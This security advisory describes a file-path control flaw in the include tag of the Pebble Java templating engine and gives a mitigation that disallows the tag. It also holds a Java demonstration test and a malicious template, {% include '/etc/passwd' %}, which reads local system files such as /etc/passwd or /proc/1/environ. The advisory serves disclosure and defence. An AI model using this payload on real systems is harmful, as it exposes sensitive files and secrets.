External Control of File Name or Path Affecting io.pebbletemplates:pebble package, versions [0,]

io.pebbletemplates:pebble is a java templating engine inspired by Twig.

Affected versions of this package are vulnerable to External Control of File Name or Path via the include tag. A high privileged attacker can access sensitive local files by crafting malicious notification templates that leverage this tag to include files like /etc/passwd or /proc/1/environ.

This vulnerability can be mitigated by disabling the include macro in Pebble Templates:

new PebbleEngine.Builder()
            .registerExtensionCustomizer(new DisallowExtensionCustomizerBuilder()
                    .disallowedTokenParserTags(List.of("include"))
                    .build())
            .build();

The following test demonstrates the vulnerability:

PebbleEngine e = new PebbleEngine.Builder().build();

String templateString = """
        {% include '/etc/passwd' %}
        """;
PebbleTemplate template = e.getLiteralTemplate(templateString);
try (final Writer writer = new StringWriter()) {
    template.evaluate(writer, new HashMap<>());
    System.out.println(writer);
}

As an attacker, the following malicious template demonstrates the vulnerability:

{% include '/etc/passwd' %}

• GitHub Issue
• GitHub Issue
• Pebble Documentation